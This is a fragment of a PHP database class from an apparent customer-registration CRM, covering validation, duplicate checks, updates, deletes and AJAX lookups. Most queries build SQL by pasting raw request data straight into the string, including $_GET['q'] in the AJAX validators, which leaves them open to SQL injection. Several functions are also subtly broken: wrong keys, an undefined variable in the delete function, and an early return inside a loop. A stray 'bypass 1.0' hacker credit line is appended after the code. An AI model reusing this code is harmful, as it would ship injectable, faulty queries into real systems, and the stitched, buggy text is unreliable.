  if(!$objArray['name_of_caller']){
    $objSmarty->assign('ErrorMessage', 'Name of the Caller should not be blank');
	return false;
   }elseif(!$objArray['created_by_whom']){
    $objSmarty->assign('ErrorMessage', 'Created By should not be blank');
	return false;
   }elseif(!$objArray['mobile']){
    $objSmarty->assign('ErrorMessage', 'Mobile  should not be blank');
	return false;
   }elseif(!$objArray['designation']){
    $objSmarty->assign('ErrorMessage', 'Designation should not be blank');
	return false;
   }elseif(!$objArray['email']  || ($objArray['email_id']!="1@1.com")){
    $objSmarty->assign('ErrorMessage', 'Email should not be blank');
	return false;
   }elseif(!$objArray['company_name']){
    $objSmarty->assign('ErrorMessage', 'Company Name should not be blank');
	return false;
   }elseif(!$objArray['place']){
    $objSmarty->assign('ErrorMessage', 'Place should not be blank');
	return false;
   }elseif(!$objArray['address1']){
    $objSmarty->assign('ErrorMessage', 'Address1 should not be blank');
	return false;
   }elseif(!$objArray['city']){
    $objSmarty->assign('ErrorMessage', 'City should not be blank');
	return false;
   }elseif(!$objArray['pincode']){
    $objSmarty->assign('ErrorMessage', 'Pincode should not be blank');
	return false;
   }elseif(!$objArray['enquiry_through']){
    $objSmarty->assign('ErrorMessage', 'Enquiry Through should not be blank');
	return false;
   }elseif(!$objArray['customer_requirements']){
    $objSmarty->assign('ErrorMessage', 'Customer Requirements should not be blank');
	return false;
   }elseif(!$objArray['enquiry_through']){
    $objSmarty->assign('ErrorMessage', 'Enquiry Through should not be blank');
	return false;
   }elseif(!$objArray['call_response']){
    $objSmarty->assign('ErrorMessage', 'Call Response should not be blank');
	return false;
   }elseif(!$objArray['crdate']){
    $objSmarty->assign('ErrorMessage', 'Created Date should not be blank');
	return false;
   }elseif(!$objArray['area']){
    $objSmarty->assign('ErrorMessage', 'Area should not be blank');
	return false;
   }
   
    $objSmarty->assign('c_id', $objArray['c_id']);
   if($objArray['c_id'] && $objArray['name_of_caller']){

   	$UpQuery1 = 'UPDATE `arka_customer_reg_master` SET `salutation` = "'.trim($objArray['salutation']).'",`address1` = "'.trim($objArray['address1']).'", `address2` = "'.trim($objArray['address2']).'", `city` = "'.trim($objArray['city']).'",`pincode` = "'.trim($objArray['pincode']).'",`landmark` = "'.trim($objArray['landmark']).'",`area` = "'.trim($objArray['area']).'", `place` = "'.trim($objArray['place']).'", `customer_requirements` = "'.trim($objArray['requirements']).'", `others` = "'.trim($objArray['others']).'", `name_of_caller` = "'.trim($objArray['name_of_caller']).'",`second_name` = "'.trim($objArray['second_name']).'", `last_name` = "'.trim($objArray['last_name']).'", `designation` = "'.trim($objArray['designation']).'", `mobile` = "'.trim($objArray['mobile']).'", `mobile2` = "'.trim($objArray['mobile2']).'", `mobile3` = "'.trim($objArray['mobile3']).'", `mobile4` = "'.trim($objArray['mobile4']).'", `mobile5` = "'.trim($objArray['mobile5']).'", `code` = "'.trim(addslashes($objArray['code'])).'", `phone` = "'.trim(addslashes($objArray['phone'])).'",`extn1` = "'.trim(addslashes($objArray['extn1'])).'", `email` = "'.trim(addslashes($objArray['email'])).'", `email2` = "'.trim(addslashes($objArray['email_id2'])).'", `company_name` = "'.trim(addslashes($objArray['company_name'])).'", `created_date` = "'.trim(addslashes($objArray['mddate'])).'", `enquiry_through` = "'.trim(addslashes($objArray['enquiry_through'])).'", `call_response` = "'.trim(addslashes($objArray['call_response'])).'" ,`remarks` = "'.trim(addslashes($objArray['remarks'])).'" ,`created_time` ="'.trim(addslashes($objArray['mdtime'])).'", `status` = "1", `created_by` ="'.trim(addslashes($objArray['created_by_whom'])).'", `assign_to` ="'.trim(addslashes($objArray['assign_to'])).'" WHERE `customer_id` = "'.trim($objArray['c_id']).'"';
	
	$UpQuery2 = 'UPDATE `arka_customer_contact_details` SET `salutation` = "'.trim($objArray['salutation']).'", `customer_name` = "'.trim($objArray['name_of_caller']).'",`second_name` = "'.trim($objArray['second_name']).'", `last_name` = "'.trim($objArray['last_name']).'", `designation` = "'.trim($objArray['designation']).'", `mobile_no` = "'.trim($objArray['mobile']).'", `mobile2` = "'.trim($objArray['mobile2']).'", `mobile3` = "'.trim($objArray['mobile3']).'", `mobile4` = "'.trim($objArray['mobile4']).'", `mobile5` = "'.trim($objArray['mobile5']).'", `code` = "'.trim(addslashes($objArray['code'])).'", `phone` = "'.trim(addslashes($objArray['phone'])).'",`extn1` = "'.trim(addslashes($objArray['extn1'])).'", `email` = "'.trim(addslashes($objArray['email'])).'", `email2` = "'.trim(addslashes($objArray['email_id2'])).'", `created_date` = "'.trim(addslashes($objArray['mddate'])).'",`created_time` ="'.trim(addslashes($objArray['mdtime'])).'", `status` = "1", `created_by` ="'.trim(addslashes($objArray['created_by_whom'])).'" WHERE `customer_id` = "'.trim($objArray['c_id']).'" AND `customer_name` = "'.trim($objArray['name_of_caller']).'"';
	
	$this->ExecuteQuery($UpQuery1, 'update');
	$this->ExecuteQuery($UpQuery2, 'update');
	//header('Location:' .$_SERVER['PHP_SELF'].'?cust_id='.$CusIdent.'&succs_msg_for_update');
	header('Location:' ."customer_details_view.php?cust_id=".trim(addslashes($objArray['c_id'])));
//	$this->GetCustomerView($objArray);

   }
   }
   else
   {
   	$objSmarty->assign('ErrorMessage', 'Customer Already Exist');
	return false;
   }
   
 }
 
 /**************************************************************************************** Display the Customer BY ID ********************************/
 function GetCustomerById(){
  global $objSmarty;
  $SelQuery3	= 'SELECT max(customer_id) FROM `arka_customer_reg_master` Limit 0,1';
  $CusDetail		= $this->ExecuteQuery($SelQuery3, 'select');
  $CusDetail[0]['customer_id'] = stripslashes($CusDetail[0]['customer_detail']);
  $objSmarty->assign('hdevice_id', stripslashes($CusDetail[0]['customer_id']));
  $val = intval(substr($CusDetail[0]['customer_id'],0,4), 5);
  $objSmarty->assign('c_id', $CusDetail[0]['customer_id']);
 /* 
  $DevDetail[0]['type'] = stripslashes($DevDetail[0]['type']);
  $objSmarty->assign('type', $DevDetail[0]['type']);
  */
 }
 
 
 /****************************************************************************************** Validation for Customer Registration Pages *******************************/
 function ChkDupliCust($mobile,$email,$company_name){
  global $objSmarty;
  if(!empty($mobile) || !empty($email) || !empty($company_name) )
 // $WhereClause	= ' AND `id` != '.$Ident;
 	if ($email != "1@1.com" && $company_name !="R")
		{
 	  $SelQuery2		= 'SELECT * FROM `arka_customer_reg_master` WHERE (`status` != "0") AND (`mobile` = "'.$mobile.'" OR `email` = "'.$email.'" OR `company_name` = "'.$company_name.'") Limit 0,1';
  $CusDetail		= $this->ExecuteQuery($SelQuery2, 'select');
  		if((!empty($CusDetail)) && is_array($CusDetail))
  			 return false;
		else
	   return true;
	 	}
		elseif($email == "1@1.com" && $company_name !="R")
		{
		$SelQuery2		= 'SELECT * FROM `arka_customer_reg_master` WHERE (`status` != "0") AND (`mobile` = "'.$mobile.'" OR  `company_name` = "'.$company_name.'" ) Limit 0,1';
  		$CusDetail		= $this->ExecuteQuery($SelQuery2, 'select');
  		if((!empty($CusDetail)) && is_array($CusDetail))
  			 return false;
		else
	   return true;
		
		}
		elseif($email != "1@1.com" && $company_name =="R")
		{
		$SelQuery2		= 'SELECT * FROM `arka_customer_reg_master` WHERE (`status` != "0") AND (`mobile` = "'.$mobile.'" OR  `email` = "'.$email.'" ) Limit 0,1';
  		$CusDetail		= $this->ExecuteQuery($SelQuery2, 'select');
  		if((!empty($CusDetail)) && is_array($CusDetail))
  			 return false;
		else
	   return true;
		
		}elseif($email == "1@1.com" && $company_name =="R")
		{
		$SelQuery2		= 'SELECT * FROM `arka_customer_reg_master` WHERE (`status` != "0") AND (`mobile` = "'.$mobile.'" ) Limit 0,1';
  		$CusDetail		= $this->ExecuteQuery($SelQuery2, 'select');
  		if((!empty($CusDetail)) && is_array($CusDetail))
  			 return false;
		else
	   return true;
		
		}
		
  	if ($email != "1@1.com" )
	{
  $SelQuery3		= 'SELECT * FROM `arka_customer_contact_details` WHERE (`status` != "0") AND (`mobile_no` = "'.$mobile.'" OR `email` = "'.$email.'" ) Limit 0,1';
  $CusDetail2		= $this->ExecuteQuery($SelQuery3, 'select');  
  
  if((!empty($CusDetail2)) && is_array($CusDetail2))
   return false;
  else
   return true;
   }
   	else if ($email == "1@1.com" )
	{
  $SelQuery3		= 'SELECT * FROM `arka_customer_contact_details` WHERE (`status` != "0") AND (`mobile_no` = "'.$mobile.'") Limit 0,1';
  $CusDetail2		= $this->ExecuteQuery($SelQuery3, 'select');  
  
  if((!empty($CusDetail2)) && is_array($CusDetail2))
   return false;
  else
   return true;
   }
 }
 
 /*********************************************************************************************** Validation for Customer Update Pages *********************************/
 function ChkDuplicateEdit($mobile,$email,$company_name,$CusIdent){
  global $objSmarty;
  if(!empty($mobile) || !empty($email) || !empty($company_name) )
 // $WhereClause	= ' AND `id` != '.$Ident;
  $SelQuery2		= 'SELECT * FROM `arka_customer_reg_master` WHERE (`customer_id` != "'.$CusIdent.'") AND (`status` != "0") AND (`mobile` = "'.$mobile.'" OR `email` = "'.$email.'" OR `company_name` = "'.$company_name.'")';
  $CusDetail		= $this->ExecuteQuery($SelQuery2, 'select');
  if(!empty($CusDetail) && is_array($CusDetail))
   return false;
  else
   return true;
 }
  
 /****************************************************************************************** Delete the Customer from Table *************************************/
 function DeleteID($id){
  global $objSmarty;
  $DelQuery = 'DELETE FROM `arka_reg_cus_reg_master` WHERE `customer_id`='.$c_id; 
  $this->ExecuteQuery($DelQuery, 'delete');
  $objSmarty->assign('SuccessMessage', 'Deleted Successfully');
 }
 
 
 /*******************************************************************************************Login User Roles list *********************************************/
  function RolesLists(){
	global $objSmarty;
	 $SelQuery1	= 'SELECT * FROM arka_group_mapping WHERE `group_name` = "'.$_SESSION['USER_GROUP'].'" AND `status` <> 0 ORDER BY sl_no';
	  $RList		= $this->ExecuteQuery($SelQuery1, "select");
		
  if(!empty($RList) && is_array($RList))
   foreach($RList as $key=>$value){
    $RList[$key]['role_id'] = stripslashes($RList[$key]['role_id']);
	$RList[$key]['role_name'] = stripslashes($RList[$key]['role_name']);
	$objSmarty->assign('RList', $RList);
  return $RList;
		} 
	}
 
 /************************************************************************************* Activate, Deactivate and Delete the Customer Details **********************/
 function ActiveContent($objArray){
  global $objSmarty;
  if(!empty($objArray['ConId']) && is_array($objArray['ConId']))
   $BanIds		= implode(',' , $objArray['ConId']);
  else
   $objSmarty->assign('ErrorMessage', 'No Content Selected');
  if(!empty($BanIds))
   switch($objArray['Submit']){
    case 'Delete':
	$DelQuery = 'DELETE FROM `arka_customer_reg_master` WHERE `sl_no` IN ( '.$BanIds.' )' ;
	 $this->ExecuteQuery($DelQuery, 'delete');
	 $objSmarty->assign('SuccessMessage', 'Deleted Successfully');
	 break;
	case 'Active':
	 $UpQuery = 'UPDATE `arka_customer_reg_master` SET `status` =1 WHERE `sl_no` IN (' . $BanIds . ')' ;
	 $this->ExecuteQuery($UpQuery, 'update');
	 $objSmarty->assign('SuccessMessage', 'The Contents Activated Successfully');
	 break;
	case 'InActive':
	$UpQuery = 'UPDATE `arka_customer_reg_master` SET `status` =0 WHERE `sl_no` IN (' . $BanIds . ')' ;
	 $this->ExecuteQuery($UpQuery, 'update');
	 $objSmarty->assign('SuccessMessage', 'The Contents In-Activated Successfully');
	 break;
   }
 }



function Ajax_Validate_Existing_Mob()
{
  global $objSmarty;
  $SelQuery		= 'SELECT * FROM `arka_customer_contact_details` WHERE `mobile_no`="'.$_GET['q'].'" OR `mobile2`="'.$_GET['q'].'" OR `mobile3`="'.$_GET['q'].'" OR `mobile4`="'.$_GET['q'].'" OR `mobile5`="'.$_GET['q'].'"';

  $MobDetail		= $this->ExecuteQuery($SelQuery, 'select');
  if(!empty($MobDetail) && is_array($MobDetail))
  {
  echo "Mobile Number Exists";
  return false;
  }
}



function Ajax_Validate_Existing_Cmp()
{
  global $objSmarty;
  $SelQuery		= 'SELECT * FROM `arka_customer_reg_master` WHERE `company_name`="'.$_GET['q'].'" AND `company_name`!="R"';

  $CmpDetail		= $this->ExecuteQuery($SelQuery, 'select');
  if(!empty($CmpDetail) && is_array($CmpDetail))
  {
  echo "Company Details Exists";
  return false;
  }
}


function Ajax_Validate_Existing_Email()
{
  global $objSmarty;
  $SelQuery		= 'SELECT * FROM `arka_customer_contact_details` WHERE `email`="'.$_GET['q'].'" AND `email`!="1@1.com"';

  $EmailDetail		= $this->ExecuteQuery($SelQuery, 'select');
  if(!empty($EmailDetail) && is_array($EmailDetail))
  {
  echo "Email Already Exists";
  return false;
  }
}





}

?>



bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net